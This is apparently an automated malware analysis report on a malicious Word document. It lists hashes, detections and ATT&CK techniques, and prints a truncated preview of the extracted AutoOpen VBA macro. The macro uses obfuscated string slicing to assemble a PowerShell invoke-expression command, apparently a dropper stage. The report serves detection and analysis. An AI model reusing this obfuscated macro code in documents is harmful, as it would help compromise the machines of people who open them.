Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 af9121eb9887f728…

MALICIOUS

Office (OLE)

158.0 KB Created: 2018-05-21 12:24:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 9a3694a33805055ccee75b32ca2b8ede SHA-1: 6b9a1ba2f2a3eae57dc31d0cf17f2cf76c7dcd42 SHA-256: af9121eb9887f7286fc90d56eab48c7b8fefeb72fbe15eb253821c0cda6a30f0
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings for VBA macros and Shell() calls. The AutoOpen macro is present, indicating an attempt to automatically execute malicious code upon opening. The VBA script contains obfuscated strings that, when partially reconstructed, suggest the use of the Shell() function to execute commands, likely for downloading and running a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6550544-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6550544-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 182781 bytes
SHA-256: 32444764e4ee55a494a37376654dcdf2499203880c6585ac2c1cf8b24f90c01a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mECsHnWkk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function IcmiYoYIIX()

On Error Resume Next
ROLEnur = (WWZiji - CDbl(113891) + XCkOWljq + Fix(SjikojX / CLng(521951 * Sqr(zHlbduSjJUi))) - 21263 / Sin(vKMZWMCQwpi - XqlELHVnw - 594036 + CLng(hYswtIRh)) * 106835 * Fix(113891))
PBjHAuhv = "Vowerh82XVZ9NPK4pyshell iNvOtoEDEsv43eChwslDpnpd"
lOVcvL = CStr(Left(Right(PBjHAuhv, 47), 4)) + Left(Right(PBjHAuhv, 30), 10) + Left(Right(PBjHAuhv, 34), 1) + Left(Right(PBjHAuhv, 16), 1)

GwcwbPRkm = "WkNJBdOsepREsrpFF74kHHlyuMTXYDtZ-ExPRESsIon( ('&( MbydUEyOvErv9VbFwlNXIgmfKsvW9fBfIuiwSgcFJY9W3U"
jsDWYVILP = Left(Right(GwcwbPRkm, 64), 21) + CStr(Left(Right(GwcwbPRkm, 38), 3)) + CStr(Left(Right(GwcwbPRkm, 16), 1)) + CStr(Left(Right(GwcwbPRkm, 90), 6)) + Left(Right(GwcwbPRkm, 23), 1)

abIvXljwXK = "BO'WkNJBdeRences.pFF74tHHly"
NcaXHN = CStr(Left(Right(abIvXljwXK, 18), 6)) + Left(Right(abIvXljwXK, 11), 1) + Left(Right(abIvXljwXK, 5), 1) + CStr(Left(Right(abIvXljwXK, 25), 1))

YmzaKlwlY = Chr(43)
EjIYT = "BOm3]NJBdThiVoH'OStriNG()ly[1TXYDtZK7U,xYLDQP"
AiJBXXor = Left(Right(EjIYT, 30), 10) + Left(Right(EjIYT, 18), 2) + CStr(Left(Right(EjIYT, 7), 1)) + Left(Right(EjIYT, 42), 2)

zpnWD = Chr(43)
KKslOWjY = "WkNJB ( (VoHsrpFF74kHHlypRfxpRf-JOINpRfpQPLRfEMoEeVw6dpEyOOp)v9VbFwlNXIg"
ZiuUSp = CStr(Left(Right(KKslOWjY, 48), 16)) + CStr(Left(Right(KKslOWjY, 29), 2)) + Left(Right(KKslOWjY, 12), 1) + CStr(Left(Right(KKslOWjY, 67), 4)) + CStr(Left(Right(KKslOWjY, 18), 1))

icEmoZaLd = "k4BOmWkRfFlpRiVoHsfpF"
AmDJMFVHH = Left(Right(icEmoZaLd, 14), 5) + Left(Right(icEmoZaLd, 9), 1) + Left(Right(icEmoZaLd, 3), 1)

AzHjFIqFmf = Chr(43)
VtrEnXvhU = (EPjJYlt - CDbl(722310) + tPskBGV + Fix(SkCiKcuDKMX / CLng(303294 * Sqr(wsAfRkwBZX))) - 934509 / Sin(rdfUvpkskis - KilLc - 240973 + CLng(czLOETB)) * 714710 * Fix(722310))
wOYzr = "k4BOmWkNpRf0nsVpHsrp'F74"
iqXGfFViJW = CStr(Left(Right(wOYzr, 16), 6)) + Left(Right(wOYzr, 9), 1) + Left(Right(wOYzr, 4), 1)

IZQmptvwf = Chr(43)
TqwsNf = "4uk'RfmWk"
EGjvlST = Left(Right(TqwsNf, 6), 2) + Left(Right(TqwsNf, 4), 1)

AlmkuwG = Chr(43)
knKumCNJ = (vYfTfZbpA - CDbl(931195) + SJABEubbZn + Fix(sQWWW / CLng(826334 * Sqr(GLKollVm))) - 982655 / Sin(LXMVltt - FQklFAKbn - 904459 + CLng(iCIJzJzU)) * 115409 * Fix(931195))
jXjAFIa = "BOmWo7VBdThiVoHsrpFFpRfadasd = &(oZK7VIxYLDQPLFpEMnEeVw6dUEy"
QoujMAbTc = Left(Right(jXjAFIa, 40), 14) + Left(Right(jXjAFIa, 24), 2) + CStr(Left(Right(jXjAFIa, 10), 1)) + Left(Right(jXjAFIa, 56), 3)

JOzMKjZSHBo = Chr(43)
jzRuiwIO = "k4BOmWo7VpRThiV'Hs"
KbNGXWit = CStr(Left(Right(jzRuiwIO, 12), 4)) + CStr(Left(Right(jzRuiwIO, 8), 1)) + Left(Right(jzRuiwIO, 3), 1)

OhVmvmXFBEY = Chr(43)
MwTnWwRF = "Eg'fk4"
rNknGD = Left(Right(MwTnWwRF, 4), 2)

YaOurndTVGd = Chr(43)
QTkUUzm = (zRSBzYAnc - CDbl(976751) + SDKfnCXNIwb + Fix(KFsnMkz / CLng(909462 * Sqr(ivuwbz))) - 637631 / Sin(zOhvbqav - JljhzHqn - 559763 + CLng(iHNJL)) * 511892 * Fix(976751))
qOZLYqDfd = "pW11HFwCigXpRl3myfeopRfi"
hAhcVB = Left(Right(qOZLYqDfd, 13), 2) + Left(Right(qOZLYqDfd, 7), 6)

ZFijzUZRzEf = Chr(43)
XVwRsGUksp = "pW11HFwpigRf7'3"
DAUvI = CStr(Left(Right(XVwRsGUksp, 8), 1)) + CStr(Left(Right(XVwRsGUksp, 5), 4))

sYHVrfk = Chr(43)
IcmiYoYIIX = lOVcvL + jsDWYVILP + NcaXHN + YmzaKlwlY + AiJBXXor + zpnWD + ZiuUSp + AmDJMFVHH + AzHjFIqFmf + iqXGfFViJW + IZQmptvwf + EGjvlST + AlmkuwG + QoujMAbTc + JOzMKjZSHBo + KbNGXWit + OhVmvmXFBEY + rNknGD + YaOurndTVGd + hAhcVB + ZFijzUZRzEf + DAUvI + sYHVrfk

End Function

Function PItLip()

On Error Resume Next
dmENwwkF = (XlWqtHc - CDbl(724481) + JBQWAOKU + Fix(MvEwomZMk / CLng(135015 * Sqr(SfmISQ))) - 58005 / Sin(VZAGf - hkuXrF - 427201 + CLng(YutPmpBU)) * 455552 * Fix(724481))
EPTPjKCnDvM = "pW11HFw'igVpRf3"
WatrVO = CStr(Left(Right(EPTPjKCnDvM, 8), 1)) + CStr(Left(Right(EPTPjKCnDvM, 5), 4))

ziSzudRDAVq = C
... (truncated)

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